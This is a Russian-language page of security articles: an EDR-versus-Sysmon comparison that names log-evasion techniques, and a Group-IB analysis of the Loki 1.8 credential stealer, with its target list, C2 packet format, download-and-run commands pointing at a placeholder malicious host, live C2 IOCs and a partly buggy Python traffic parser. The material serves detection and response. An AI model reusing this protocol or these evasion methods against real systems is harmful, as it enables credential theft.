Русский
Русский
English
Статистика
Реклама

Впо

Зачем внедрять EDR, если есть SIEM, Sysmon и антивирус?

23.07.2020 10:06:27 | Автор: admin
Без мониторинга конечных точек сегодня уже не получится в полной мере обеспечить безопасность и вовремя обнаруживать факты компрометации инфраструктуры. Джентельменский набор сетевой мониторинг, антивирус и стандартный аудит на конечных точках уже не позволяет противодействовать не только серьезным группировкам, но даже злоумышленникам с низким уровнем подготовки. Почему? Рассмотрим на конкретных примерах.


Кадр из мультфильма Жил-был пес

Итак, стандартных средств мониторинга становится недостаточно. Этому способствуют несколько факторов:

индикаторы компрометации (хеши, IP-адреса и доменные имена) часто бывают одноразовыми, так как их изменение не представляет труда для злоумышленника, особенно в случае с APT;

атакующие применяют в работе легитимные исполняемые файлы, штатные средства ОС и т. д.;

для перемещения по сети в большинстве случаев используются не эксплойты, а украденные легитимные учетные данные;

на практике часто встречается ВПО, которое не детектируется ни антивирусом, ни сетевыми сигнатурами;

с ростом инфраструктуры становится проблематично вовремя обновлять сигнатуры и лицензии.

Даже при успешном выявлении атаки у вас будет недостаточно информации, чтобы однозначно ответить на вопрос: исчерпан текущий инцидент или необходимы еще какие-либо меры. Ведь множество событий попросту не отслеживается: работа с реестром, создание файлов, загрузка модулей в память, командная строка созданного процесса и так далее.

Мониторинг конечных точек существенно расширяет возможности по выявлению и предотвращению атак: он позволяет перейти от детектирования хешей, IP и доменов к детектированию хостовых артефактов, инструментов и TTP (да-да, той самой пирамиды боли).

Несколько примеров техник, которые часто встречаются на практике и не детектируются без хостового мониторинга:

DLL Hijacking
Living off the land
Использование Mimikatz

Дополнительный мониторинг конечных точек можно организовать с помощью встроенных в ОС средств (расширенный аудит), бесплатных утилит (например, Sysmon) и коммерческих решений (продукты класса EDR). Рассмотрим, какие достоинства и недостатки имеют эти подходы на примерах детектирования различных вариаций упомянутых выше техник.

Расширенный аудит. Windows Event Logging


О встроенном аудите знают все. Как показывает практика, включив один лишь сбор событий создания процесса вместе с командной строкой, вы существенно облегчите процесс мониторинга и расследования инцидентов (закон Парето в действии).

При грамотной настройке мы закрываем некоторые пробелы стандартного подхода и видим:

факты запуска процессов вместе с командной строкой;

запускаемые PowerShell-скрипты в декодированном виде (Script block logging);

частично работу с файлами и реестром;

активность, связанную с учетными записями (создание/удаление пользователей и так далее).

У нас появляется возможность детектировать новые техники:

некоторые варианты DLL hijacking по созданию файлов с определенными путями;

использование LOLBin и Mimikatz по паттернам в командной строке.

При этом у злоумышленника все еще есть возможность избежать обнаружения. В случае с LOLBin это может быть копирование файла в другую папку под другим именем и обфусцирование командной строки. А Mimikatz можно перекомпилировать с измененными командами и строками, что не позволит обнаруживать его использование по командной строке. Также не будут видны варианты, когда на машину помещается легитимный бинарный файл, подверженный DLL hijacking.



Код Mimikatz с измененными строками


Настроить аудит Windows можно на любой системе без предустановки стороннего ПО, но есть и существенные недостатки:

1. Неудобная и плохо масштабируемая настройка.
Пример: чтобы поставить на мониторинг определенную ветку реестра, для нее нужно отдельно настроить ACL. Сам факт того, что нужно проводить какие-то действия, на практике выливается в проблемы и задержки по времени, особенно в случае крупных инфраструктур. Если это делается для расширения мониторинга (например, для детектирования какого-нибудь способа UAC Bypass), то время не играет критической роли. Но если такая необходимость возникает во время инцидента, это затрудняет процесс реагирования.

2. Отсутствие контроля.
Если события перестанут регистрироваться или поступать в используемые системы мониторинга, вовремя понять это, скорее всего, не получится, так как нет централизации.

3. Простота противодействия.
Даже злоумышленники с низкой квалификацией знают, как скрываться от стандартного аудита. Вопрос только в том, насколько эффективно и незаметно они это сделают.

Примеры техник:

Обычная очистка логов. Вероятность удачного восстановления событий зависит от того, сколько времени прошло с момента очистки.

Приостановка потоков службы аудита с последующим выполнением вредоносных действий или удалением событий (например, с помощью инструмента github.com/QAX-A-Team/EventCleaner).

Сокрытие событий с помощью нарушения структуры соответствующего файла .evtx (http://personeltest.ru/aways/github.com/fox-it/danderspritz-evtx).

Временное перенаправление событий в отдельный файл. О такой технике мы писали в предыдущей статье.

4. Сама по себе настройка аудита не даст возможности организовать мониторинг. Для начала придется наладить централизованный сбор событий, а потом использовать дополнительные инструменты, например, SIEM, для их анализа.

5. Низкая информативность событий. Отсутствует возможность получать хэш запускаемого процесса, отслеживать загрузку библиотек в память процессов и так далее.

Сходство Sysmon и EDR


Sysmon не является полноценным EDR-решением, так как в нем нет возможности выполнять активные действия на системе. Но механизм сбора событий точно такой же, как и в коммерческих EDR: работает он на двух технологиях обратных вызовах ядра и ETW. Подробно описывать их не будем рассмотрим только, как появляются события и кто инициатор их создания.



Обратные вызовы ядра. Например, PcreateProcessNotifyRoutine, PcreateThreadNotifyRoutine.
Где и как вызываются эти и другие обратные вызовы, можно увидеть в соответствующих функциях ядра. Пример вызова callbackов при создании процесса приведен ниже:



Цикл вызова callbackов в CreateProcessW -> NtCreateUserProcess -> PspInsertThread.
То есть вызывает эти callbackи поток родительского процесса, вызвавший CreateProcess.

Event Tracing Windows (ETW).
В части появления событий ETW работает похожим образом. Снова рассмотрим пример с созданием процесса. При вызове CreateProcessW поток родительского процесса выполняет следующие действия (упрощенная схема):

CreateProcessW (kernel32.dll)
NtCreateUserProcess (ntdll.dll, переход в режим ядра)
NtCreateUserProcess (ntoskrnl.exe, далее работа в режиме ядра)
PspInsertThread (здесь вызываются и callbackи)
EtwTraceProcess
EtwpPsProvTraceProcess
EtwWrite

Таким образом, поток родительского процесса является прямым инициатором создания события ETW. Примерно таким же образом работает запись остальных событий, например, сетевых. Ниже приведен пример создания событий, связанных с сетевой активностью:



Функция ядра EtwpNetProvTraceNetwork


Из всего вышесказанного следует два вывода:

1) И Sysmon, и EDR использует для сбора событий только встроенные возможности Windows, что обеспечивает надежность работы.

2) Злоумышленник может использовать методы сокрытия, которые будут применимы и к Sysmon, и к EDR. Обратные вызовы ядра можно снять в памяти ядра с помощью подписанного драйвера. А зная описанный механизм регистрации событий, можно понять, почему Sysmon и некоторые EDR не могут обнаружить определенные техники инжектирования в процесс (например, с помощью APC) или PPID spoofing.

Sysmon


Использование Sysmon позволяет расширить возможности стандартного аудита. События при этом записываются в отдельный журнал. Некоторые примеры информации, которой нет в аудите Windows, но есть в Sysmon:

более подробная информация о запускаемых исполняемых файлах (хеш, оригинальное имя, цифровая подпись и так далее);
загрузка драйверов и библиотек;
изменение статуса сервиса Sysmon;
создание потока в другом процессе;
доступ к процессу;
хеши файлов, создаваемых в альтернативных потоках данных;
создание пайпов.

Преимущества мониторинга описанных выше процессов очевидны (в публичном доступе есть множество правил и статей на тему детектирования различных техник). Плюс появляется возможность детектировать новые вариации известных техник:

1) копирование LOLBin под другим именем можно выявлять по соответствию полей OriginalFileName, Image и Hashes из события создания процесса;

2) можно детектировать загрузку неподписанных библиотек, что в некоторых случаях позволяет обнаружить DLL hijacking;

3) есть потенциальная возможность выявлять Mimikatz с помощью вышеупомянутых методов или по событию ProcessAccess к процессу lsass.exe.

Настройка аудита осуществляется с помощью конфигурационного файла, что в случае с созданием файлов и событиями реестра намного удобнее настройки ACL.

При этом нужно учитывать следующие моменты:

Необходимость дополнительных инструментов. Так как события пишутся в журнал, то, как и в случае с расширенным аудитом Windows, Sysmon нужно использовать в связке с другими инструментами, например, SIEM.

Плохое масштабирование и управляемость. В крупных инфраструктурах возникают проблемы с обновлением и учетом текущих версий конфигурационных файлов, так как Sysmon не предоставляет возможность централизованного управления. Для мониторинга корректной работы сервиса необходимы дополнительные инструменты.
Как и в случае с расширенным аудитом, отсутствие событий по тем или иным причинам не удастся вовремя обнаружить.

Внимание со стороны ИБ-сообщества. Так как утилита является бесплатной и общедоступной, сообщество уделяет ей большое внимание. В открытом доступе есть различные варианты конфигурационных файлов, множество правил для Sysmon и тематических статей. Такое внимание работает и в обратную сторону: известны слабые места утилиты, и опытный злоумышленник знает, как остаться незамеченным.

Про способы обхода некоторых возможностей Sysmon можно почитать здесь, здесь и здесь.

Endpoint Detection & Response


С ростом размера и критичности инфраструктуры недостатки Sysmon становятся существенными. Качественные EDR имеют несколько преимуществ (специфические для конкретных продуктов возможности описывать не будем):

1) Расширенный набор регистрируемых событий
Здесь все зависит от конкретного продукта. Например, встречается логирование всего интерактивного ввода в командную строку, что позволяет детектировать техники, которые не видно ни с аудитом Windows, ни с Sysmon.

Здесь стоит описать вариант использования Mimikatz, который мы наблюдали во время одного из расследований. Есть исполняемый файл, который содержит зашифрованный Mimikatz в ресурсах. При передаче в командной строке верного пароля и вектора инициализации Mimikatz расшифровывается удачно и принимает команды в интерактивной командной строке. При этом в событиях создания процесса не появляется никаких команд.

Логирование интерактивного ввода, в свою очередь, поможет детектировать такой случай, если Mimikatz не будет перекомпилирован (в нашем случае строки остались нетронутыми).

2) Централизованное управление и настройка
В большой инфраструктуре возможность централизованной проверки состояния и изменения настроек агента играет критическую роль. Без нее реагирование может затягиваться на часы, а то и на дни.

3) Самодостаточность
В большинстве случаев EDR это самостоятельный продукт со своим интерфейсом, который может использоваться не только в связке с другими инструментами, но и отдельно.

Может присутствовать возможность писать собственные правила детектирования. Так как набор доступных данных больше, чем у расширенного аудита или Sysmon, у аналитиков появляется больше возможностей для детектирования различных паттернов атак.

4) Возможность активного реагирования
Во время реагирования на инцидент необходимость выполнить какие-либо действия на множестве систем практически всегда становится проблемой.

EDR позволяет в удобной интерактивной форме выполнять множество действий:

работать с файлами и реестром
блокировать сетевые соединения
завершать процессы
сканировать yara-правилами
собирать артефакты для последующего анализа (например, образ памяти)
автоматизация всего вышеуказанного в той или иной степени
и многое другое.

Так как класс продуктов EDR изначально создавался для обеспечения хостового мониторинга и реагирования, недостатков у таких решений в этой области существенно меньше. Здесь все зависит от возможностей конкретного продукта. Не обходится и без слепых зон, например, отсутствует возможность углубленного анализа сетевой активности (проблема, которая успешно решается продуктами NTA/NDR).

Практика показывает, что наличие EDR в инфраструктуре существенно расширяет возможности по выявлению угроз, а также ускоряет реагирование и облегчает расследование инцидентов, позволяя более точно восстанавливать хронологию событий. Sysmon выступает в качестве полумеры, а в случае с одним только стандартным аудитом, который легко обойти, приходится довольствоваться менее информативными артефактами, в том числе необычными, о которых мы писали в предыдущей статье.

Автор: Аскер Джамирзе, старший инженер технического расследования отдела расследования инцидентов JSOC CERT
Подробнее..

Loki 1.8 досье на молодой и подающий надежды Data Stealer

16.09.2020 12:14:05 | Автор: admin


В середине июня борьба с коронавирусом в Казахстане была в самом разгаре. Встревоженные ростом числа заболевших (тогда заразился даже бывший президент Нурсултан Назарбаев), местные власти решились вновь позакрывать все торгово-развлекательные центры, сетевые магазины, рынки и базары. И в этот момент ситуацией воспользовались киберпреступники, отправившие по российским и международным компаниям вредоносную рассылку.

Опасные письма, замаскированную под обращение министра здравоохранения Республики Казахстан, перехватила система Threat Detection System (TDS) Group-IB. Во вложении письма находились документы, при запуске которых на компьютер устанавливалась вредоносная программа из семейства Loki PWS (Password Stealer), предназначенная для кражи логинов и паролей с зараженного компьютера. В дальнейшем злоумышленники могут использовать их для получения доступа к почтовым аккаунтам для финансового мошенничества, шпионажа или продать на хакерских форумах.

В этой статье Никита Карпов, аналитик CERT-GIB, рассматривает экземпляр одного из самых популярных сейчас Data Stealerов Loki.

Сегодня мы рассмотрим одну из популярных версий бота 1.8. Она активно продается, а админ панель можно найти даже в открытом доступе: здесь.

Пример админ-панели:



Loki написан на языке C++ и является одним из самых популярных ВПО, используемых для похищения пользовательской информации с зараженного компьютера. Как и бич нашего времени вирусы-шифровальщики Data Stealer после попадания на компьютер жертвы с очень большой скоростью выполняют поставленную задачу ему не надо закрепляться и повышать свои привилегии в системе, он практически не оставляет времени на защиту от атаки. Поэтому в событиях с ВПО, которое похищает пользовательские данные, главную роль играет расследование инцидента.

Распаковка и получение работоспособного дампа ВПО


Распространение в большинстве случаев происходит через вложения в рассылках писем. Пользователь под видом легитимного файла загружает и открывает вложение, запуская работу ВПО.

По маркеру инжекта можно предположить о наличии Loader.


С помощью DIE получаем информацию, что исходный файл написан на VB6.


График энтропии свидетельствует о большом количестве зашифрованных данных.


При запуске первый процесс создает дочерний, совершает инжект и завершает свою работу. Второй процесс отвечает за работу ВПО. После небольшого промежутка времени останавливаем работу процесса и сохраняем дамп памяти. Чтобы подтвердить, что внутри дампа находится Loki, ищем внутри url командного центра, который в большинстве случаев оканчивается на fre.php.


Выполняем дамп фрагмента памяти, содержащего Loki, и производим корректировку PE-заголовка.

Работоспособность дампа проверим с помощью системы TDS Huntbox.


Функционал бота


В процессе исследования декомпилированного кода ВПО находим часть, содержащую четыре функции, идущие сразу после инициализации необходимых для работы библиотек. Разобрав каждую из них внутри, определяем их назначение и функциональность нашего ВПО.


Названия функций для удобства были переименованы в более информативные.
Функционал бота определяется двумя главными функциями:

  1. Data Stealer первая функция, отвечающая за похищение данных из 101 приложения и отправку на сервер.
  2. Downloader запрос от CnC (Command & Control) команд для исполнения.

Для удобства в таблице, приведенной ниже, представлены все приложения, из которых исследуемый экземпляр Loki пытается похитить данные.
ID функции Приложение ID функции Приложение ID функции Приложение
1 Mozilla Firefox 35 FTPInfo 69 ClassicFTP
2 Comodo IceDragon 36 LinasFTP 70 PuTTY/KiTTY
3 Apple Safari 37 FileZilla 71 Thunderbird
4 K-Meleon 38 Staff-FTP 72 Foxmail
5 SeaMonkey 39 BlazeFtp 73 Pocomail
6 Flock 40 NETFile 74 IncrediMail
7 NETGATE BlackHawk 41 GoFTP 75 Gmail notifier pro
8 Lunascape 42 ALFTP 76 Checkmail
9 Google Chrome 43 DeluxeFTP 77 WinFtp
10 Opera 44 Total Commander 78 Martin Prikryl
11 QTWeb Browser 45 FTPGetter 79 32BitFtp
12 QupZilla 46 WS_FTP 80 FTP Navigator
13 Internet Explorer 47 Mail Client configuration files 81 Mailing
(softwarenetz)
14 Opera 2 48 Full Tilt Poker 82 Opera Mail
15 Cyberfox 49 PokerStars 83 Postbox
16 Pale Moon 50 ExpanDrive 84 FossaMail
17 Waterfox 51 Steed 85 Becky!
18 Pidgin 52 FlashFXP 86 POP3
19 SuperPutty 53 NovaFTP 87 Outlook
20 FTPShell 54 NetDrive 88 Ymail2
21 NppFTP 55 Total Commander 2 89 Trojit
22 MyFTP 56 SmartFTP 90 TrulyMail
23 FTPBox 57 FAR Manager 91 .spn Files
24 sherrod FTP 58 Bitvise 92 To-Do Desklist
25 FTP Now 59 RealVNC
TightVNC
93 Stickies
26 NexusFile 60 mSecure Wallet 94 NoteFly
27 Xftp 61 Syncovery 95 NoteZilla
28 EasyFTP 62 FreshFTP 96 Sticky Notes
29 SftpNetDrive 63 BitKinex 97 KeePass
30 AbleFTP 64 UltraFXP 98 Enpass
31 JaSFtp 65 FTP Now 2 99 My RoboForm
32 Automize 66 Vandyk SecureFX 100 1Password
33 Cyberduck 67 Odin Secure FTP Expert 101 Mikrotik WinBox
34 Fullsync 68 Fling
На этом этапе завершен статический анализ ВПО и в следующем разделе рассмотрим, как Loki общается с сервером.

Сетевое взаимодействие


Для записи сетевого взаимодействия необходимо решить две проблемы:

  1. Командный центр доступен только на момент проведения атаки.
  2. Wireshark не фиксирует коммуникации бота в loopback, поэтому нужно пользоваться другими средствами.

Самое простое решение переадресовать адрес CnC, с которым Loki будет устанавливать коммуникацию, на localhost. Для бота сервер теперь доступен в любое время, хоть и не отвечает, но для записи коммуникаций бота это и не нужно. Для решения второй проблемы воспользуемся утилитой RawCap, которая позволяет записать в pcap необходимые нам коммуникации. Далее записанный pcap будем разбирать уже в Wireshark.


Перед каждой коммуникацией бот проверяет доступность CnC и, если он доступен открывает socket. Все сетевые коммуникации проходят на транспортном уровне по протоколу TCP, а на прикладном используется HTTP.

В таблице ниже представлены заголовки пакета, которые стандартно использует Loki.
Поле Значение Описание
User-agent Mozilla/4.08 (Charon; Inferno) Характерный юзерагент для Loki
Accept */*
Content-Type application/octet-stream
Content-Encoding binary
Content-Key 7DE968CC Результат хеширования предыдущих заголовков (хеширование происходит кастомным алгоритмом CRC с полиномом 0xE8677835)
Connection close
Обратим внимание на body пакета:

  1. Структура записанных данных зависит от версии бота, и в более ранних версиях отсутствуют поля, которые отвечают за опции шифрования и компрессии.
  2. По типу запроса сервер определяет, как обрабатывать полученные данные. Существует 7 типов данных, которые может прочитать сервер:
    • 0x26 Похищенные данные кошельков
    • 0x27 Похищенные данные приложений
    • 0x28 Запрос команд от сервера
    • 0x29 Выгрузка похищенного файла
    • 0x2A POS
    • 0x2B Данные кейлоггера
    • 0x2C Скриншот
  3. В исследованном экземпляре присутствовали только 0x27, 0x28 и 0x2B.
  4. В каждом запросе есть общая информация о боте и зараженной системе, по которой сервер идентифицирует все отчеты по одной машине, а после идет информация, которая зависит от типа запроса.
  5. В последней версии бота реализовано только сжатие данных, а поля с шифрованием заготовлены на будущее и не обрабатываются сервером.
  6. Для сжатия данных используется открытая библиотека APLib.

При формировании запроса с похищенными данными бот выделяет буфер размером 0x1388 (5000 байт). Структура запросов 0x27 представлена в таблице ниже:
Смещение Размер Значение Описание
0x0 0x2 0x0012 Версия бота
0x2 0x2 0x0027 Тип запроса (отправка похищенных данных)
0x4 0xD ckav.ru Binary ID (также встречается значение XXXXX11111)
0x11 0x10 - Имя пользователя
0x21 0x12 - Имя компьютера
0x33 0x12 - Доменное имя компьютера
0x45 0x4 - Разрешение экрана (ширина и высота)
0x49 0x4 -
0x4D 0x2 0x0001 Флаг прав пользователя (1, если администратор)
0x4F 0x2 0x0001 Флаг идентификатора безопасности (1, если установлен)
0x51 0x2 0x0001 Флаг разрядности системы (1, если x64)
0x53 0x2 0x0006 Версия Windows (major version number)
0x55 0x2 0x0001 Версия Windows (minor version number)
0x57 0x2 0x0001 Дополнительная информация о системе (1 = VER_NT_WORKSTATION)
0x59 0x2 -
0x5B 0x2 0x0000 Отправлялись ли похищенные данные
0x5D 0x2 0x0001 Использовалось ли сжатие данных
0x5F 0x2 0x0000 Тип сжатия
0x61 0x2 0x0000 Использовалось ли шифрование данных
0x63 0x2 0x0000 Тип шифрования
0x65 0x36 - MD5 от значения регистра MachineGuid
0x9B - - Сжатые похищенные данные
Второй этап взаимодействия с сервером начинается после закрепления в системе. Бот отправляет запрос с типом 0x28, структура которого представлена ниже:

Размер буфера: 0x2BC (700 байт)
Смещение Размер Значение Описание
0x0 0x2 0x0012 Версия бота
0x2 0x2 0x0028 Тип запроса (запрос команд от командного центра)
0x4 0xD ckav.ru Binary ID (также встречается значение XXXXX11111)
0x11 0x10 - Имя пользователя
0x21 0x12 - Имя компьютера
0x33 0x12 - Доменное имя компьютера
0x45 0x4 - Разрешение экрана (ширина и высота)
0x49 0x4 -
0x4D 0x2 0x0001 Флаг прав пользователя (1, если администратор)
0x4F 0x2 0x0001 Флаг идентификатора безопасности (1, если установлен)
0x51 0x2 0x0001 Флаг разрядности системы (1, если x64)
0x53 0x2 0x0006 Версия Windows (major version number)
0x55 0x2 0x0001 Версия Windows (minor version number)
0x57 0x2 0x0001 Дополнительная информация о системе (1 = VER_NT_WORKSTATION)
0x59 0x2 0xFED0
0x5B 0x36 - MD5 от значения регистра MachineGuid
После запроса бот ожидает получить ответ от сервера, содержащий количество и сами команды. Возможные варианты команд получены с помощью статического анализа декомпилированного кода ВПО и представлены ниже.

Размер буфера: 0x10 (16 байт) + 0x10 (16 байт) за каждую команду в пакете.
HTTP- заголовок (начало данных) \r\n\r\n [0D 0A 0D 0A] 4 байта
Суммарная длина данных - - 4 байта
Количество команд 2 [00 00 00 02] 4 байта
Команда Пропускаемые байты
4 байта
Команды
4 байта
Пропускаемые байты
4 байта
Длина передаваемой строки
4 байта
Передаваемая строка
(пример)
#0
Загрузка и запуск EXE-файла
[00 00 00 00] [00 00 00 00] [00 00 00 00] [00 00 00 23] www.notsogood.site/malicious.exe
#1
Загрузка библиотеки DLL
[00 00 00 00] [00 00 00 01] [00 00 00 00] [00 00 00 23] www.notsogood.site/malicious.dll
#2
Загрузка EXE-файла
[00 00 00 00] [00 00 00 02] [00 00 00 00] [00 00 00 23] www.notsogood.site/malicious.exe
#8
Удаление базы данных хешей (HDB file)
[00 00 00 00] [00 00 00 08] [00 00 00 00] [00 00 00 00] -
#9
Старт кейлоггера
[00 00 00 00] [00 00 00 09] [00 00 00 00] [00 00 00 00] -
#10
Похищение данных и отправка на сервер
[00 00 00 00] [00 00 00 0A] [00 00 00 00] [00 00 00 00] -
#14
Завершение работы Loki
[00 00 00 00] [00 00 00 0E] [00 00 00 00] [00 00 00 00] -
#15
Загрузка новой версии Loki и удаление старой
[00 00 00 00] [00 00 00 0F] [00 00 00 00] [00 00 00 23] www.notsogood.site/malicious.exe
#16
Изменение частоты проверки ответа от сервера
[00 00 00 00] [00 00 00 10] [00 00 00 00] [00 00 00 01] 5
#17
Удалить Loki и завершить работу
[00 00 00 00] [00 00 00 11] [00 00 00 00] [00 00 00 00] -

Парсер сетевого трафика


Благодаря проведенному анализу у нас есть вся необходимая информация для парсинга сетевых взаимодействий Loki.

Парсер реализован на языке Python, на вход получает pcap-файл и в нем находит все коммуникации, принадлежащие Loki.

Для начала воспользуемся библиотекой dkpt для поиска всех TCP-пакетов. Для получения только http-пакетов поставим фильтр на используемый порт. Среди полученных http-пакетов отберем те, что содержат известные заголовки Loki, и получим коммуникации, которые необходимо распарсить, чтобы извлечь из них информацию в читаемом виде.

for ts, buf in pcap:    eth = dpkt.ethernet.Ethernet(buf)    if not isinstance(eth.data, dpkt.ip.IP):        ip = dpkt.ip.IP(buf)    else:        ip = eth.data     if isinstance(ip.data, dpkt.tcp.TCP):        tcp = ip.data        try:            if tcp.dport == 80 and len(tcp.data) > 0:  # HTTP REQUEST                if str(tcp.data).find('POST') != -1:                    http += 1                    httpheader = tcp.data                    continue                else:                    if httpheader != "":                        print('Request information:')                         pkt = httpheader + tcp.data                        httpheader = ""                        if debug:                            print(pkt)                        req += 1                        request = dpkt.http.Request(pkt)                        uri = request.headers['host'] + request.uri                        parsed_payload['Network']['Source IP'] = socket.inet_ntoa(ip.src)                        parsed_payload['Network']['Destination IP'] = socket.inet_ntoa(ip.dst)                        parsed_payload_same['Network']['CnC'] = uri                        parsed_payload['Network']['HTTP Method'] = request.method                         if uri.find("fre.php"):                            print("Loki detected!")                        pt = parseLokicontent(tcp.data, debug)                        parsed_payload_same['Malware Artifacts/IOCs']['User-Agent String'] = request.headers['user-agent']                         print(json.dumps(parsed_payload, ensure_ascii=False, sort_keys=False, indent=4))                        parsed_payload['Network'].clear()                        parsed_payload['Compromised Host/User Data'].clear()                        parsed_payload['Malware Artifacts/IOCs'].clear()                        print("----------------------")            if tcp.sport == 80 and len(tcp.data) > 0:  # HTTP RESPONCE                resp += 1                if pt == 40:                    print('Responce information:')                    parseC2commands(tcp.data, debug)                    print("----------------------")                    pt = 0        except(dpkt.dpkt.NeedData, dpkt.dpkt.UnpackError):            continue

Во всех запросах Loki первые 4 байта отвечают за версию бота и тип запроса. По этим двум параметрам определяем, как будем обрабатывать данные.

def parseLokicontent(data, debug):    index = 0     botV = int.from_bytes(data[0:2], byteorder=sys.byteorder)    parsed_payload_same['Malware Artifacts/IOCs']['Loki-Bot Version'] =  botV     payloadtype = int.from_bytes(data[2:4], byteorder=sys.byteorder)    index = 4    print("Payload type: : %s" % payloadtype)    if payloadtype == 39:        parsed_payload['Network']['Traffic Purpose'] =  "Exfiltrate Application/Credential Data"        parse_type27(data, debug)    elif payloadtype == 40:        parsed_payload['Network']['Traffic Purpose'] = "Get C2 Commands"        parse_type28(data, debug)    elif payloadtype == 43:        parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Keylogger Data"        parse_type2b(lb_payload)    elif payloadtype == 38:        parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Cryptocurrency Wallet"    elif payloadtype == 41:        parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Files"    elif payloadtype == 42:        parsed_payload['Network'].['Traffic Purpose'] = "Exfiltrate POS Data"    elif payloadtype == 44:        parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Screenshots"     return payloadtype

Следующим в очереди будет разбор ответа от сервера. Для считывания только полезной информации ищем последовательность \r\n\r\n, которая определяет конец заголовков пакета и начало команд от сервера.

def parseC2commands(data, debug):    word = 2    dword = 4    end = data.find(b'\r\n\r\n')    if end != -1:        index = end + 4        if (str(data).find('<html>')) == -1:            if debug:                print(data)            fullsize = getDWord(data, index)            print("Body size: : %s" % fullsize)            index += dword            count = getDWord(data, index)            print("Commands: : %s" % count)            if count == 0:                print('No commands received')            else:                index += dword                for i in range(count):                    print("Command: %s" % (i + 1))                     id = getDWord(data, index)                    print("Command ID: %s" % id)                    index += dword                     type = getDWord(data, index)                    print("Command type: %s" % type)                    index += dword                     timelimit = getDWord(data, index)                    print("Command timelimit: %s" % timelimit)                    index += dword                     datalen = getDWord(data, index)                    index += dword                     command_data = getString(data, index, datalen)                    print("Command data: %s" % command_data)                    index += datalen        else:            print('No commands received')    return None

На этом заканчиваем разбор основной части алгоритма работы парсера и переходим к результату, который получаем на выходе. Вся информация выводится в json-формате.

Ниже представлены изображения результата работы парсера, полученные из коммуникаций различных ботов, с разными CnC и записанные в разных окружениях.

Request information:Loki detected!Payload type: 39Decompressed data: {'Module': {'Mozilla Firefox'}, 'Version': {0}, 'Data': {'domain': {'https://accounts.google.com'}, 'username': {'none@gmail.com'}, 'password': {'test'}}}{'Module': {'NppFTP'}, 'Version': {0}, 'Data': {b'<?xml version="1.0" encoding="UTF-8" ?>\r\n<NppFTP defaultCache="%CONFIGDIR%\\Cache\\%USERNAME%@%HOSTNAME%" outputShown="0" windowRatio="0.5" clearCache="0" clearCachePermanent="0">\r\n    <Profiles />\r\n</NppFTP>\r\n'}}{    "Network": {        "Source IP": "-",        "Destination IP": "185.141.27.187",        "HTTP Method": "POST",        "Traffic Purpose": "Exfiltrate Application/Credential Data",        "First Transmission": true    },    "Compromised Host/User Data": {},    "Malware Artifacts/IOCs": {}}

Выше представлен пример запроса на сервер 0x27 (выгрузка данных приложений). Для тестирования были созданы аккаунты в трех приложениях: Mozilla Firefox, NppFTP и FileZilla. У Loki существует три варианта записи данных приложений:

  1. В виде SQL-базы данных (парсер сохраняет базу данных и выводит все доступные строки в ней).
  2. В открытом виде, как у Firefox в примере.
  3. В виде xml-файла, как у NppFTP и FileZilla.

Request information:Loki detected!Payload type: 39No data stolen{    "Network": {        "Source IP": "-",        "Destination IP": "185.141.27.187",        "HTTP Method": "POST",        "Traffic Purpose": "Exfiltrate Application/Credential Data",        "First Transmission": false    },    "Compromised Host/User Data": {},    "Malware Artifacts/IOCs": {}}

Второй запрос имеет тип 0x28 и запрашивает команды от сервера.

Responce information:Body size: 26Commands: 1Command: 1Command ID: 0Command type: 9Command timelimit: 0Command data: 35

Пример ответа от CnC, который отправил в ответ одну команду на старт кейлоггера. И последующая выгрузка данных кейлоггера.

Request information:Loki detected!Payload type: : 43{    "Network": {        "Source IP": "-",        "Destination IP": "185.141.27.187",        "HTTP Method": "POST",        "Traffic Purpose": "Exfiltrate Keylogger Data"    },    "Compromised Host/User Data": {},    "Malware Artifacts/IOCs": {}}

В конце работы парсер выводит информацию, которая содержится в каждом запросе от бота (информацию о боте и о системе), и количество запросов и ответов, связанных с Loki в pcap-файле.

General information:{    "Network": {        "CnC": "nganyin-my.com/chief6/five/fre.php"    },    "Compromised Host/User Description": {        "User Name": "-",        "Hostname": "-",        "Domain Hostname": "-",        "Screen Resolution": "1024x768",        "Local Admin": true,        "Built-In Admin": true,        "64bit OS": false,        "Operating System": "Windows 7 Workstation"    },    "Malware Artifacts/IOCs": {        "Loki-Bot Version": 18,        "Binary ID": "ckav.ru",        "MD5 from GUID": "-",        "User-Agent String": "Mozilla/4.08 (Charon; Inferno)"    }}Requests: 3Responces: 3 


Полный код парсера доступен по ссылке: github.com/Group-IB/LokiParser

Заключение


В этой статье мы ближе познакомились с ВПО Loki, разобрали его функционал и реализовали парсер сетевого трафика, который значительно упростит процесс анализа инцидента и поможет понять, что именно было похищено с зараженного компьютера. Хотя разработка Loki все еще продолжается, была слита только версия 1.8 (и более ранние), именно с этой версией специалисты по безопасности сталкиваются каждый день.

В следующей статье мы разберем еще один популярный Data Stealer, Pony, и сравним эти ВПО.

Indicator of Compromise (IOCs):


Urls:

  • nganyin-my.com/chief6/five/fre.php
  • wardia.com.pe/wp-includes/texts/five/fre.php
  • broken2.cf/Work2/fre.php
  • 185.141.27.187/danielsden/ver.php
  • MD5 hash: B0C33B1EF30110C424BABD66126017E5
  • User-Agent String: Mozilla/4.08 (Charon; Inferno)
  • Binary ID: ckav.ru
Подробнее..

След протектора как киберпреступники прятали стилеры в презентации от подрядчика МГУ

14.12.2020 14:08:42 | Автор: admin


"Привет из МГУ. М.В.Ломоносов,
Внимание: по рекомендации вашей компании мы выступаем в качестве подрядчика МГУ. М.В.Ломоносова под руководством доктора философских наук. Виктор Антонович Садовничий. Нам нужно ваше предложение по нашему бюджету на 2020 год (прилагается). Подайте заявку не позднее 09 ноября 2020 года. Спасибо и всего наилучшего
".

Получатель этого странного послания, даже очень далекий от научных кругов, сразу обратит внимание на две вещи: как безграмотно оно написано, а, во-вторых, ректор МГУ может быть философом лишь по состоянию души Виктор Антонович на самом деле доктор физико-математических наук, но никак не философских.

СERT Group-IB подтвердил догадку сентябрьские почтовые рассылки от имени руководства МГУ им. М.В. Ломоносова фейковые, более того они несли на борту популярные вредоносные программы для кражи данных (Data Stealer) Loki или AgentTesla Однако сегодняшний пост не про них, а об одном незаметном помощнике протекторе, которые защищает программы-шпионы от обнаружения. О том, какие техники использует этот протектор и как аналитикам удалось сквозь них добраться до исполняемого файла AgentTesla, рассказывает Илья Померанцев, руководитель группы исследований и разработки CERT-GIB .

Механизм распространения


